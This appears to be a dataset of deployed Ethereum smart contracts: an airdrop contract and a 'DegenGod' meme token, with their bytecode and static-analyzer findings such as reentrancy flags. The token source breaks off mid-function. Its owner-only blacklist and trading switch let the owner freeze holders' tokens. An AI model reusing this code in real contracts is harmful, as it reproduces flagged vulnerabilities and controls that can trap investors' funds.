604082019050919050565b60006133516023836137d2565b915061335c82613cdc565b604082019050919050565b6000613374601b836137d2565b915061337f82613d2b565b602082019050919050565b60006133976021836137d2565b91506133a282613d54565b604082019050919050565b60006133ba6020836137d2565b91506133c582613da3565b602082019050919050565b60006133dd6029836137d2565b91506133e882613dcc565b604082019050919050565b60006134006025836137d2565b915061340b82613e1b565b604082019050919050565b60006134236023836137d2565b915061342e82613e6a565b604082019050919050565b60006134466024836137d2565b915061345182613eb9565b604082019050919050565b61346581613936565b82525050565b61347481613940565b82525050565b600060208201905061348f600083018461319f565b92915050565b60006020820190506134aa600083018461320c565b92915050565b60006020820190506134c5600083018461321b565b92915050565b600060208201905081810360008301526134e58184613239565b905092915050565b6000602082019050818103600083015261350681613272565b9050919050565b6000602082019050818103600083015261352681613295565b9050919050565b60006020820190508181036000830152613546816132b8565b9050919050565b60006020820190508181036000830152613566816132db565b9050919050565b60006020820190508181036000830152613586816132fe565b9050919050565b600060208201905081810360008301526135a681613321565b9050919050565b600060208201905081810360008301526135c681613344565b9050919050565b600060208201905081810360008301526135e681613367565b9050919050565b600060208201905081810360008301526136068161338a565b9050919050565b60006020820190508181036000830152613626816133ad565b9050919050565b60006020820190508181036000830152613646816133d0565b9050919050565b60006020820190508181036000830152613666816133f3565b9050919050565b6000602082019050818103600083015261368681613416565b9050919050565b600060208201905081810360008301526136a681613439565b9050919050565b60006020820190506136c2600083018461345c565b92915050565b600060a0820190506136dd600083018861345c565b6136ea602083018761322a565b81810360408301526136fc81866131ae565b905061370b606083018561319f565b613718608083018461345c565b9695505050505050565b6000602082019050613737600083018461346b565b92915050565b6000613747613758565b905061375382826139c8565b919050565b6000604051905090565b600067ffffffffffffffff82111561377d5761377c613acf565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006137ee82613936565b91506137f983613936565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561382e5761382d613a42565b5b828201905092915050565b600061384482613936565b915061384f83613936565b92508261385f5761385e613a71565b5b828204905092915050565b600061387582613936565b915061388083613936565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156138b9576138b8613a42565b5b828202905092915050565b60006138cf82613936565b91506138da83613936565b9250828210156138ed576138ec613a42565b5b828203905092915050565b600061390382613916565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061395882613971565b9050919050565b600061396a82613936565b9050919050565b600061397c82613983565b9050919050565b600061398e82613916565b9050919050565b60005b838110156139b3578082015181840152602081019050613998565b838111156139c2576000848401525b50505050565b6139d182613b17565b810181811067ffffffffffffffff821117156139f0576139ef613acf565b5b80604052505050565b6000613a0482613936565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff821415613a3757613a36613a42565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060008201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c656400602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a204d6178205472616e73616374696f6e204c696d697400000000600082015250565b7f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160008201527f6464726573730000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460008201527f6564210000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f544f4b454e3a2042616c616e636520657863656564732077616c6c657420736960008201527f7a65210000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b613f11816138f8565b8114613f1c57600080fd5b50565b613f288161390a565b8114613f3357600080fd5b50565b613f3f81613936565b8114613f4a57600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a264697066735822122016ef948b7d2320deb78f567b18a6ead76e447f38de3859c54c6f3c2128a20e3864736f6c63430008070033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}} | 1,415 |
0x66231deddd16ae072b87d0958b281063a5589772 | pragma solidity ^0.4.23;
contract ERC223Interface {
uint public totalSupply;
uint8 public decimals;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
function transfer(address to, uint value, bytes data);
event Transfer(address indexed from, address indexed to, uint value, bytes data);
}
contract ERC223ReceivingContract {
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data);
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
/**
* @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend).
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
/**
* @dev Adds two numbers, throws on overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
/**
* @title AirDropContract
* Simply do the airdrop.
*/
contract AirDropForERC223 is Ownable {
using SafeMath for uint256;
// the amount that owner wants to send each time
uint public airDropAmount;
// the mapping to judge whether each address has already received airDropped
mapping ( address => bool ) public invalidAirDrop;
// the mapping of testAccount
mapping ( address => bool ) public isTestAccount;
// the array of addresses which received airDrop
address[] public arrayAirDropReceivers;
// flag to stop airdrop
bool public stop = false;
ERC223Interface public token;
uint256 public startTime;
uint256 public endTime;
// event
event LogAirDrop(address indexed receiver, uint amount);
event LogStop();
event LogStart();
event LogWithdrawal(address indexed receiver, uint amount);
event LogInfoUpdate(uint256 startTime, uint256 endTime, uint256 airDropAmount);
/**
* @dev Constructor to set _airDropAmount and _tokenAddresss.
* @param _airDropAmount The amount of token that is sent for doing airDrop.
* @param _tokenAddress The address of token.
*/
constructor(uint256 _startTime, uint256 _endTime, uint _airDropAmount, address _tokenAddress, address[] _testAccounts) public {
require(
_startTime >= now &&
_endTime >= _startTime &&
_airDropAmount > 0 &&
_tokenAddress != address(0)
);
startTime = _startTime;
endTime = _endTime;
token = ERC223Interface(_tokenAddress);
uint tokenDecimals = token.decimals();
airDropAmount = _airDropAmount.mul(10 ** tokenDecimals);
for (uint i = 0; i < _testAccounts.length; i++ ) {
isTestAccount[_testAccounts[i]] = true;
}
}
/**
* @dev Standard ERC223 function that will handle incoming token transfers.
*
* @param _from Token sender address.
* @param _value Amount of tokens.
* @param _data Transaction metadata.
*/
function tokenFallback(address _from, uint _value, bytes _data) {}
/**
* @dev Confirm that airDrop is available.
* @return A bool to confirm that airDrop is available.
*/
function isValidAirDropForAll() public view returns (bool) {
bool validNotStop = !stop;
bool validAmount = getRemainingToken() >= airDropAmount;
bool validPeriod = now >= startTime && now <= endTime;
return validNotStop && validAmount && validPeriod;
}
/**
* @dev Confirm that airDrop is available for msg.sender.
* @return A bool to confirm that airDrop is available for msg.sender.
*/
function isValidAirDropForIndividual() public view returns (bool) {
bool validNotStop = !stop;
bool validAmount = getRemainingToken() >= airDropAmount;
bool validPeriod = now >= startTime && now <= endTime;
bool validReceiveAirDropForIndividual = !invalidAirDrop[msg.sender];
return validNotStop && validAmount && validPeriod && validReceiveAirDropForIndividual;
}
/**
* @dev Do the airDrop to msg.sender
*/
function receiveAirDrop() public {
if (isTestAccount[msg.sender]) {
// execute transfer
token.transfer(msg.sender, airDropAmount);
} else {
require(isValidAirDropForIndividual());
// set invalidAirDrop of msg.sender to true
invalidAirDrop[msg.sender] = true;
// set msg.sender to the array of the airDropReceiver
arrayAirDropReceivers.push(msg.sender);
// execute transfer
token.transfer(msg.sender, airDropAmount);
emit LogAirDrop(msg.sender, airDropAmount);
}
}
/**
* @dev Change the state of stop flag
*/
function toggle() public onlyOwner {
stop = !stop;
if (stop) {
emit LogStop();
} else {
emit LogStart();
}
}
/**
* @dev Withdraw the amount of token that is remaining in this contract.
* @param _address The address of EOA that can receive token from this contract.
*/
function withdraw(address _address) public onlyOwner {
require(
stop ||
now > endTime
);
require(_address != address(0));
uint tokenBalanceOfContract = getRemainingToken();
token.transfer(_address, tokenBalanceOfContract);
emit LogWithdrawal(_address, tokenBalanceOfContract);
}
/**
* @dev Update the information regarding to period and amount.
* @param _startTime The start time this airdrop starts.
* @param _endTime The end time this sirdrop ends.
* @param _airDropAmount The airDrop Amount that user can get via airdrop.
*/
function updateInfo(uint256 _startTime, uint256 _endTime, uint256 _airDropAmount) public onlyOwner {
require(
stop ||
now > endTime
);
require(
_startTime >= now &&
_endTime >= _startTime &&
_airDropAmount > 0
);
startTime = _startTime;
endTime = _endTime;
uint tokenDecimals = token.decimals();
airDropAmount = _airDropAmount.mul(10 ** tokenDecimals);
emit LogInfoUpdate(startTime, endTime, airDropAmount);
}
/**
* @dev Get the total number of addresses which received airDrop.
* @return Uint256 the total number of addresses which received airDrop.
*/
function getTotalNumberOfAddressesReceivedAirDrop() public view returns (uint256) {
return arrayAirDropReceivers.length;
}
/**
* @dev Get the remaining amount of token user can receive.
* @return Uint256 the amount of token that user can reveive.
*/
function getRemainingToken() public view returns (uint256) {
return token.balanceOf(this);
}
/**
* @dev Return the total amount of token user received.
* @return Uint256 total amount of token user received.
*/
function getTotalAirDroppedAmount() public view returns (uint256) {
return airDropAmount.mul(arrayAirDropReceivers.length);
}
} | 0x6080604052600436106101115763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166307da68f5811461011657806308e9988b1461013f57806310665519146101665780632aec9466146101875780633197cbb6146101a75780633efe6441146101bc5780633f4039ba146101d157806340992e9d1461020557806340a3d2461461021a57806351cff8d91461022f5780636a3350c81461025057806370cf75081461027157806378e97925146102865780638b08292d1461029b5780638da5cb5b146102b0578063c0ee0b8a146102c5578063c1fae25b1461032e578063c7b160db14610343578063f2fde38b14610358578063fc0c546a14610379575b600080fd5b34801561012257600080fd5b5061012b61038e565b604080519115158252519081900360200190f35b34801561014b57600080fd5b50610154610397565b60408051918252519081900360200190f35b34801561017257600080fd5b5061012b600160a060020a036004351661039d565b34801561019357600080fd5b506101a56004356024356044356103b2565b005b3480156101b357600080fd5b50610154610520565b3480156101c857600080fd5b50610154610526565b3480156101dd57600080fd5b506101e96004356105c1565b60408051600160a060020a039092168252519081900360200190f35b34801561021157600080fd5b506101546105e9565b34801561022657600080fd5b506101a5610607565b34801561023b57600080fd5b506101a5600160a060020a0360043516610692565b34801561025c57600080fd5b5061012b600160a060020a03600435166107b4565b34801561027d57600080fd5b5061012b6107c9565b34801561029257600080fd5b5061015461083b565b3480156102a757600080fd5b5061012b610841565b3480156102bc57600080fd5b506101e9610890565b3480156102d157600080fd5b50604080516020600460443581810135601f81018490048402850184019095528484526101a5948235600160a060020a031694602480359536959460649492019190819084018382808284375094975061089f9650505050505050565b34801561033a57600080fd5b506101a56108a4565b34801561034f57600080fd5b50610154610a88565b34801561036457600080fd5b506101a5600160a060020a0360043516610a8e565b34801561038557600080fd5b506101e9610b22565b60055460ff1681565b60015481565b60036020526000908152604090205460ff1681565b60008054600160a060020a031633146103ca57600080fd5b60055460ff16806103dc575060075442115b15156103e757600080fd5b4284101580156103f75750838310155b80156104035750600082115b151561040e57600080fd5b8360068190555082600781905550600560019054906101000a9004600160a060020a0316600160a060020a031663313ce5676040518163ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401602060405180830381600087803b15801561048857600080fd5b505af115801561049c573d6000803e3d6000fd5b505050506040513d60208110156104b257600080fd5b505160ff1690506104cd82600a83900a63ffffffff610b3616565b60018190556006546007546040805192835260208301919091528181019290925290517f20efc62a7a9ebf73bc01c79415ebe8e96ae9a94a0c0efed186caef56a71d5dcf9181900360600190a150505050565b60075481565b600554604080517f70a0823100000000000000000000000000000000000000000000000000000000815230600482015290516000926101009004600160a060020a0316916370a0823191602480830192602092919082900301818787803b15801561059057600080fd5b505af11580156105a4573d6000803e3d6000fd5b505050506040513d60208110156105ba57600080fd5b5051905090565b60048054829081106105cf57fe5b600091825260209091200154600160a060020a0316905081565b600454600154600091610602919063ffffffff610b3616565b905090565b600054600160a060020a0316331461061e57600080fd5b6005805460ff19811660ff9182161517918290551615610666576040517f407235ba9d50c9ec9294457c137c94dd310f8658f7c03e9061c50ac66751af1290600090a1610690565b6040517fddd1002e99df5d98b17a9b830ba8e5a4f8d618d5df9ccc99c5faea5b4abdbad890600090a15b565b60008054600160a060020a031633146106aa57600080fd5b60055460ff16806106bc575060075442115b15156106c757600080fd5b600160a060020a03821615156106dc57600080fd5b6106e4610526565b600554604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152600160a060020a038681166004830152602482018590529151939450610100909204169163a9059cbb9160448082019260009290919082900301818387803b15801561075957600080fd5b505af115801561076d573d6000803e3d6000fd5b5050604080518481529051600160a060020a03861693507fb4214c8c54fc7442f36d3682f59aebaf09358a4431835b30efb29d52cf9e1e9192509081900360200190a25050565b60026020526000908152604090205460ff1681565b60055460015460009160ff1615908290819081906107e5610526565b1015925060065442101580156107fd57506007544211155b3360009081526002602052604090205490925060ff161590508380156108205750825b80156108295750815b80156108325750805b94505050505090565b60065481565b60055460015460009160ff1615908290819061085b610526565b10159150600654421015801561087357506007544211155b905082801561087f5750815b80156108885750805b935050505090565b600054600160a060020a031681565b505050565b3360009081526003602052604090205460ff161561094c57600554600154604080517fa9059cbb000000000000000000000000000000000000000000000000000000008152336004820152602481019290925251610100909204600160a060020a03169163a9059cbb9160448082019260009290919082900301818387803b15801561092f57600080fd5b505af1158015610943573d6000803e3d6000fd5b50505050610690565b6109546107c9565b151561095f57600080fd5b33600081815260026020526040808220805460ff191660019081179091556004805480830182558185527f8a35acfbc15ff81a39ae7d344fd709f28e8600b4aa8c65c6b64bfe7fe36bd19b01805473ffffffffffffffffffffffffffffffffffffffff191686179055600554915483517fa9059cbb0000000000000000000000000000000000000000000000000000000081529182019590955260248101949094529051610100909104600160a060020a03169263a9059cbb92604480830193919282900301818387803b158015610a3657600080fd5b505af1158015610a4a573d6000803e3d6000fd5b505060015460408051918252513393507f41097886570f9a869fa2411d79ffeeeaf139da10f9050e7797b948f14ff4256992509081900360200190a2565b60045490565b600054600160a060020a03163314610aa557600080fd5b600160a060020a0381161515610aba57600080fd5b60008054604051600160a060020a03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a36000805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b6005546101009004600160a060020a031681565b6000821515610b4757506000610b5f565b50818102818382811515610b5757fe5b0414610b5f57fe5b929150505600a165627a7a723058200284e563939e0d158e5940c94c46ff693da43f78a67566815dd90c943f4a67cb0029 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "erc20-interface", "impact": "Medium", "confidence": "High"}]}} | 1,416 |
0xb95fd354d1810968743c3ba1cbe8b377f167e3cb | /**
It's Friday night, and you're here flipping meme coins?
If you're here, you're a degen
Then this coin is right for you
Do you have what it takes
To become a...
______ _____ _
| _ \ | __ \ | |
| | | |___ __ _ ___ _ __ | | \/ ___ __| |
| | | / _ \/ _` |/ _ \ '_ \ | | __ / _ \ / _` |
| |/ / __/ (_| | __/ | | | | |_\ \ (_) | (_| |
|___/ \___|\__, |\___|_| |_| \____/\___/ \__,_|
__/ |
|___/
$DegenGod
No crazy tokenomics:
9% buy tax
9% sell tax
We'll be doing marketing and giveaways
Good luck!
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract DegenGod is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "DegenGod";
string private constant _symbol = "DEGENGOD";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1000000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 0;
uint256 private _taxFeeOnBuy = 9;
uint256 private _redisFeeOnSell = 0;
uint256 private _taxFeeOnSell = 9;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0x79Eaa753193DC32a508b28567e6381F45e8Aa8C5);
address payable private _marketingAddress = payable(0x24228926b9eD5710E2eb4055Cc336239bdB04938);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 10000000000 * 10**9;
uint256 public _maxWalletSize = 10000000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _redisFee, _taxFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 redisFee,
uint256 taxFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(redisFee).div(100);
uint256 tTeam = tAmount.mul(taxFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
require(redisFeeOnBuy >= 0 && redisFeeOnBuy <= 4, "Buy rewards must be between 0% and 4%");
require(taxFeeOnBuy >= 0 && taxFeeOnBuy <= 20, "Buy tax must be between 0% and 20%");
require(redisFeeOnSell >= 0 && redisFeeOnSell <= 4, "Sell rewards must be between 0% and 4%");
